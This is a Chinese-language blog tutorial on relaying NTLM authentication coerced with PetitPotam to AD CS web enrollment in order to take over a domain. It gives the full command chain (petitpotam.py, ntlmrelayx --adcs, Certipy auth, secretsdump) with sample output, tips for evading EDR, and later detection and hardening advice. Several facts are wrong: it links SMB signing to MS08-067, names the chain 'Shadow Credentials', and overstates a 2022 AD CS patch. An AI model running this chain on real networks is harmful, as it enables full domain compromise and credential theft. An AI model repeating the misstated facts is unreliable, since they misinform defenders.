网络安全实战：Active Directory 攻防（三）—— NTLM 中继与 PetitPotam

序言从“伪造信任”到“劫持 highways”在系列的前两篇文章中我们探讨了 Active DirectoryAD域中 Kerberos 协议的攻防。无论是 Kerberoasting 的离线烘烤还是黄金票据的凭空伪造其本质都是在与 Kerberos 的密码学设计进行博弈。攻击者需要破解哈希或者拿到 KRBTGT 这种“王权之钥”。但现实内网中并非所有的门都上着 Kerberos 这把高级锁。在庞大的 Windows 帝国里还遗留着一条古老、丑陋却又无法剔除的暗道——NTLMNT LAN Manager认证协议。如果说 Kerberos 是皇宫里凭证盖章的严谨流程那么 NTLM 就像是对讲机里的口令确认。它天生存在一个致命缺陷它不验证对讲机那头到底是谁。这种对上下文盲目的信任孕育出了内网渗透中最具破坏力的战术之一NTLM 中继。而当我们把 NTLM 中继与现代的“强制认证”技术如 PetitPotam结合时就形成了一条无需破解任何密码、无需绕过任何补丁就能直接接管整个域控的完美杀手锏。今天我们将深入这条暗道看看攻击者如何不动一刀一枪让域控自己交出控制权。第一章迟暮的余威——NTLM 协议的原理与原罪要理解中继必须先理解 NTLM 的工作流。尽管微软一直在提倡弃用 NTLM但在 2024 年的今天为了兼容性99% 的内网依然允许 NTLM 认证。1.1 三步走挑战-应答机制的剖析NTLM 是一种基于“挑战-应答”的认证协议。当客户端比如你的电脑想访问服务端比如一台文件服务器时流程如下Negotiate协商客户端对服务端喊话“我想访问你我支持 NTLM v2。”Challenge挑战服务端生成一个随机的 16 字节数字称为 Challenge发给客户端并记住这个数字。Authenticate认证客户端拿到 Challenge 后用自己的密码哈希NTLM Hash对它进行加密运算HMAC-MD5生成一个 Response。客户端把这个 Response 发给服务端。服务端拿到 Response 后自己也用该用户密码的哈希对刚才的 Challenge 进行同样的加密运算。如果结果一致认证通过。1.2 致命缺陷盲目的信任你发现漏洞了吗在这个流程中服务端自己并不生成密码哈希它只是验证。这就引发了一个致命的逻辑问题如果我是攻击者中间人我冒充服务端接收客户端的 Challenge 和 Response我自己算不了但我可以原封不动地把这两个东西打包发给真正的服务端去验证。如果验证通过服务端就会以为是我攻击者在合法登录从而授予我权限。这就叫NTLM 中继。攻击者就像是一个传声筒把受害者合法的认证语音录下来放给目标系统听从而骗取信任。1.3 为什么不直接 SMB 爆破很多新手会问既然拿到了 NTLM Hash我为什么不用 Hashcat 破解明文然后直接登录因为破解耗时且可能失败。而中继是零延迟、零失败率的。只要受害者的密码没变中继就能瞬间获取与受害者等同的权限。这是一种确定性的打击。1.4 为什么机器账户是最佳猎物在内网中人类用户可能因为频繁输错密码被锁定但机器账户以$结尾如DC01$是永不锁定的。更重要的是机器账户的密码是系统随机生成的 120 位长字符人类根本不可能破解。所以逼迫一台机器向中继者发起 NTLM 认证是内网渗透的圣杯。如果这台机器是域控DC01$那么中继成功后你就拥有了整个域的 System 权限。第二章狩猎的艺术——如何让机器主动交出凭证要中继首先得让受害者向我们的机器发起 NTLM 认证。在早期的内网中我们常用 LLMNR/NBT-NS 投毒或放置诱饵文件。但在现代防守下这些手段容易被发现且依赖用户行为。今天我们要讲的是一种主动出击、直接刺穿域控的技术PetitPotam。2.1 历史从 SpoolSample 到 PetitPotam要让 Windows 机器主动向外部发起认证我们利用的是 Windows 网络协议中的一些“设计缺陷”。最早被滥用的是 Print Spooler 服务中的RpcAddPrinterEx或RpcRemoteFindFirstPrinterChangeNotificationEx函数。攻击者可以调用域控上的 Print Spooler要求它向攻击者指定的 IP 发起打印通知。由于通知需要认证域控就会乖乖向攻击者发送 NTLM 协商包。这就是著名的PrinterBug。但微软对这个漏洞打了补丁。于是安全研究员 Gilles Lionel 在 2021 年发现了另一个更底层、更无法打补丁的接口MS-EFSRPCEncrypting File System Remote RPC。2.2 PetitPotam 的魔法EFSRPC 的滥用MS-EFSRPC 是 Windows 用于管理加密文件系统EFS的远程过程调用接口。按理说这个接口是用来在远程机器上操作加密文件的。但其中有一个名为EfsRpcOpenFileRaw的函数。研究员发现当你调用这个函数并指定一个远程路径时比如\\Attacker-IP\test目标机器为了访问这个路径去读取文件元数据会主动向Attacker-IP发起 SMB 连接并附带 NTLM 认证PetitPotam 的恐怖之处在于无需认证最初版本CVE-2021-36942 修复前任何匿名用户都可以调用域控的这个接口。无法彻底修复这不是一个漏洞而是 EFSRPC 的正常工作机制。微软打的补丁只是要求调用者必须具有认证但无法阻止合法认证后的滥用。2.3 实战演练逼迫域控低头假设你通过外网钓鱼拿到了一台普通域内机器的权限。你的目标是域控DC01.corp.local。你不需要域管权限只需要执行一行命令。工具箱Impacket 的 petitpotam.py# 在你的攻击机上先开启一个 SMB 或 HTTP 中继监听# 在另一终端向域控发起 PetitPotam 调用python3 petitpotam.py-uzhangsan-pPassword123-dcorp.local10.0.0.510.0.0.1参数解释zhangsan/Password123一个普通的域账号修复后需要认证。10.0.0.5攻击者的 IP中继监听地址。10.0.0.1域控的 IP。当你按下回车的瞬间域控DC01$会主动向10.0.0.5发起认证。这时你的中继监听器抓住了这个请求就完成了第一步“抓取”。2.4 进化PetitPotam 的各种变种随着防守方对 PetitPotam 加固红队也在不断寻找新的触发点PrinterBug仍然有效只要目标没禁用 Print Spooler。DFSCoerce利用分布式文件系统DFS的 RPC 接口NetrDfsAddRemoteRoot触发。杀伤力与 PetitPotam 相当。ShadowCoerce利用卷影复制服务VSS的 RPC 接口触发。所有的这些技术核心目的只有一个合法地逼迫高权限机器向攻击者发起 NTLM 认证。第三章打通任督二脉——NTLM 中继至 AD CS拿到了域控发来的 NTLM 认证请求该把它转发给谁如果转发给另一台域控的 SMB由于微软从 MS08-067 之后默认开启了 SMB 签名中继会被拒绝。如果转发给 LDAP由于 LDAP 签名也在域控上默认开启同样会失败。这曾是中继技术的瓶颈。直到AD CSActive Directory 证书服务进入攻击者的视野。这是近年来内网攻防中最伟大的发现之一。3.1 什么是 AD CSAD CS 是 Windows Server 的一项角色用于搭建企业内部的公钥基础设施PKI。简单来说它是一个发证机构可以给用户、机器、服务颁发数字证书。在现代 AD 域中证书不仅仅用于加密还可以用于身份认证如 Smart Card 登录、Schannel 认证。AD CS 提供了一个 Web 注册接口通常部署在域控或独立服务器上URL 类似https://dc01.corp.local/certsrv/。这个接口允许用户通过浏览器申请证书。3.2 致命的组合HTTP 协议的宽容AD CS 的 Web 注册接口基于 HTTP 协议支持 NTLM 认证为了方便内网用户申请证书。关键在于HTTP 协议默认没有签名要求。这就意味着你可以把任何来源的 NTLM 认证请求中继到 HTTP 接口上AD CS 会傻乎乎地认为这就是那个合法用户在申请证书。3.3 攻击链的完整构造现在我们把这个现代内网最致命的攻击链串起来触发使用 PetitPotam 逼迫域控DC01$向攻击者发起 NTLM 认证。中继攻击者运行的ntlmrelayx接收到这个认证不进行任何处理直接将其转发给域内 AD CS 服务器的 Web 注册接口http://ca-server/certsrv/。签发AD CS 验证 NTLM 应答无误认为这是域控DC01$在申请证书。由于DC01$拥有机器账户权限AD CS 会根据预设的模板通常是Machine或DomainController模板为其签发一张数字证书PFX 格式。降维打击攻击者拿到这张证书。现在无需破解任何密码攻击者可以利用这张证书通过PKINIT协议向 KDC 索取 TGT接管有了域控的 TGT攻击者就可以使用 Pass-The-Ticket 技术直接登录域控执行 DCSync获取全域控制权。这就是所谓的Shadow Credentials或Golden Certificate攻击。3.4 实战实操从零到域管让我们用红队实战的视角还原一次完整的自动化操作。第一步准备环境假设攻击者 IP10.0.0.5域控 IP10.0.0.1同时运行 AD CS 服务普通域账号corp\zhangsan第二步配置中继监听使用 Impacket 的ntlmrelayx.py。我们需要指定中继目标是 AD CS 的 HTTP 接口并指定申请的证书模板。由于目标是域控我们使用DomainController模板如果不可用用Machine模板也可以获取机器权限。# 开启 SMB 中继监听目标指向 AD CS 的 HTTP 接口python3 ntlmrelayx.py-thttp://10.0.0.1/certsrv/-smb2support--adcs--templateDomainController执行后监听器在10.0.0.5等待猎物。第三步扣动扳机在另一个终端执行 PetitPotampython3 petitpotam.py-uzhangsan-pPassword123-dcorp.local10.0.0.510.0.0.1第四步见证奇迹几秒钟后你会看到ntlmrelayx的输出终端疯狂滚动[*] SMBD: Received connection from 10.0.0.1域控连进来了[*] HTTP: Returning 401 with NTLM challenge中继器向域控发起挑战[*] HTTP: Authenticating to http://10.0.0.1/certsrv/ as CORP\DC01$将认证转发给 AD CS[*] ADCS: Generated CSR for template DomainControllerAD CS 同意签发[*] ADCS: Request ID xxxxx submitted证书已签发[*] ADCS: Downloading certificate for ID xxxxx下载证书最后终端会输出一长串 Base64 编码的证书数据并提示保存在本地文件中如DC01.pfx。第五步获取 TGT 并接管拿到DC01.pfx后我们使用另一个神器PKINITtools或Certipy现代 Python 替代品利用证书向 KDC 索取 TGT。# 使用 Certipy 利用证书申请 TGTcertipy auth-pfxDC01.pfx -dc-ip10.0.0.1输出结果中会直接给你一个 TGT保存在.ccache文件中和域控的机器哈希。最后设置环境变量KRB5CCNAME使用wmiexec.py或secretsdump.py直接导出域内所有哈希exportKRB5CCNAMEDC01.ccache python3 secretsdump.py-k-no-pass dc01.corp.local至此整个域的控制权已经握在你手里。整个过程没有发送一个恶意的 payload没有破解任何一个密码完全是利用协议的合法逻辑完成了身份的窃取和置换。这就是为什么这项技术在蓝队眼里如同幽灵般难以察觉。第四章红队的克制与蓝队的迷雾——OPSEC 与检测如此无敌的攻击链难道没有风险吗当然有。成熟的蓝队可以通过一些微弱的信号捕捉到攻击者的身影。4.1 攻击者的隐匿之术避免落地PetitPotam 的 Python 脚本在目标机器上执行时可能被 EDR 捕获网络行为。红队通常会将触发器编译成 C# 或 C 的免杀版或者直接利用一台已被控制的域内跳板机来发起。中继器的伪装ntlmrelayx 监听的端口是 445SMB。在内网中非域控服务器开放 445 端口很常见但如果是用户办公机开放可能会被流量监控发现。红队常使用--interface绑定特定网卡或者利用劫持技术将请求引向自己的 HTTP 监听器。证书模板的选择如果DomainController模板要求高权限红队会退而求其次使用Machine模板获取普通机器权限再利用机器权限横向移动降低动静。4.2 蓝队的监测雷达作为防守方如何从海量日志中揪出 PetitPotam NTLM 中继的影子事件 ID 4624登录成功的异常类型 3网络登录如果你在域控的安全日志中看到源 IP 不是内部合法的交换机 IP而是一个奇怪的工作站 IP且登录账户是某台高权限机器账户如DC01$这是极度危险的信号。类型 3 但使用 NTLM v2现代域环境中机器间认证应优先使用 Kerberos。如果突然出现大量 NTLM v2 的机器账户登录很可能是中继攻击。PetitPotam 的痕迹Event ID 5145 / 5140当 PetitPotam 触发时实际上是调用了 EFSRPC。在文件服务器或域控的 SMB 服务器日志中如果看到来自某个非管理员 IP 的连接访问了\\IP\PIPE\lsarpc或\\IP\PIPE\srvsvc并且随后伴随 NTLM 认证这是典型的触发行为。AD CS 的异常CertSvc 日志查看 AD CS 的事件日志。如果发现有大量的证书申请来自非默认的 Web 注册路径或者申请者是机器账户通常机器账户不会主动申请证书应立即告警。第五章蓝队的终极反击——斩断信任链防御 NTLM 中继与 PetitPotam 是一项系统工程。由于这些不是单一的漏洞而是协议设计层面的问题所以不能指望打一个补丁就高枕无忧。你需要从架构层面斩断信任链。5.1 斩断触发源封堵 MS-EFSRPCPetitPotam 的核心是 EFSRPC。微软虽然要求补丁后需要认证但为了彻底安全如果企业内部根本不用 EFS加密文件系统最直接的方法就是禁用 EFSRPC。组策略关闭在域控的组策略中找到计算机配置 - 管理模板 - 系统 - 错误报告。虽然这里没有直接关闭但可以通过注册表或 PowerShell 命令禁用 EFSRPC 接口。网络层面封堵更实用的做法是在内网防火墙上禁止非文件服务器的机器对域控的 445 端口发起 RPC 调用。特别是针对lsarpc和efsrpc命名管道的限制。5.2 斩断中继路径要求 SMB 签名与 EPA强制 SMB 签名这是防止 SMB 中继的终极手段。组策略路径计算机配置 - 策略 - Windows 设置 - 安全设置 - 本地策略 - 安全选项。启用“Microsoft 网络客户端对通信进行数字签名始终”和“Microsoft 网络服务器对通信进行数字签名始终”。虽然这会带来轻微的 CPU 开销但它是 SMB 中继的绝对克星。启用 EPA扩展保护身份验证针对 AD CS 的 Web 注册接口EPA 可以防止中继攻击。它要求客户端在认证时绑定 TLS 通道确保认证包是在安全的 SSL 隧道中传递的。在 IIS 管理器中找到certsrv应用程序开启“Windows 身份验证”的“扩展保护”。注意旧版客户端可能不支持 EPA需测试后上线。5.3 最彻底的根治迈向无 NTLM 时代微软在 Windows Server 2022 及以后的版本中引入了严格的安全默认值包括对 NTLM 的限制。但对于存量庞大的老域全面禁用 NTLM 是一个痛苦的过程。审计模式先行首先在域控上开启 NTLM 审计日志组策略计算机配置 - 策略 - Windows 设置 - 安全设置 - 本地策略 - 安全选项 - 网络安全限制 NTLM审核传入的流量 / 传出流量。收集一周的日志分析哪些应用还在依赖 NTLM。逐步阻断针对审计出的应用进行改造。对于必须使用 NTLM 的老旧业务使用网络隔离将其限制在特定网段。最终目标在域功能级别允许的情况下最终通过组策略“网络安全限制 NTLM传入流量”设置为“拒绝所有域账户”从根源上消灭 NTLM 中继的生存土壤。5.4 AD CS 的自身进化微软在 2022 年 5 月的累积更新中终于对 AD CS 进行了重要的安全增强。安装此更新后HTTP 端点上的证书注册默认只允许Kerberos、SSL/TLS等强认证协议显式拒绝 NTLM 认证。这意味着即使中继者拿到了 NTLM 请求AD CS 也会直接将其丢弃。作为防守方务必确保你的域控和 AD CS 服务器打全了最新的累积更新这是对抗现代中继攻击的底线。第六章结语——信任的边界从 Kerberos 的伪造到 NTLM 的中继Active Directory 的攻防史就是一部信任边界的扩张与收缩史。PetitPotam 与 NTLM 中继至 AD CS这套组合拳之所以震撼是因为它将“迫使机器认证”与“劫持认证换取新凭证”完美地结合在了一起。它让我们看到在复杂的协议交互中任何一个环节的“默认信任”都会被攻击者无限放大最终成为击溃防线的杠杆。当 NTLM 逐渐退出历史舞台当 SMB 签名成为标配当 AD CS 拒绝了中继请求我们是否就高枕无忧了不战争的形态总是在演变。在 AD 的深处还有一块被红队称为“潘多拉魔盒”的区域它不仅涉及协议更涉及业务逻辑和权限的错配——那就是Active Directory 的 ACL访问控制列表攻防。